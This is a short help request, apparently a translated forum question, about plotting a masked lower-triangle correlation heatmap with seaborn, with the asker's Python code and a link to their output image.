这是我得到的 https://i.stack.imgur.com/16Rky.jpg

sns.set(style="white")
corr = result.corr()
print corr

mask = np.zeros_like(corr, dtype=np.bool)
mask[np.triu_indices_from(mask)] = True
f, ax = plt.subplots(figsize=(11, 9))
sns_plot = sns.heatmap(result.corr(),mask=mask, annot=True, center=0, square=True, fmt=".1f", linewidths=.5, cmap="Greens")

非常感谢对此的任何帮助。非常感谢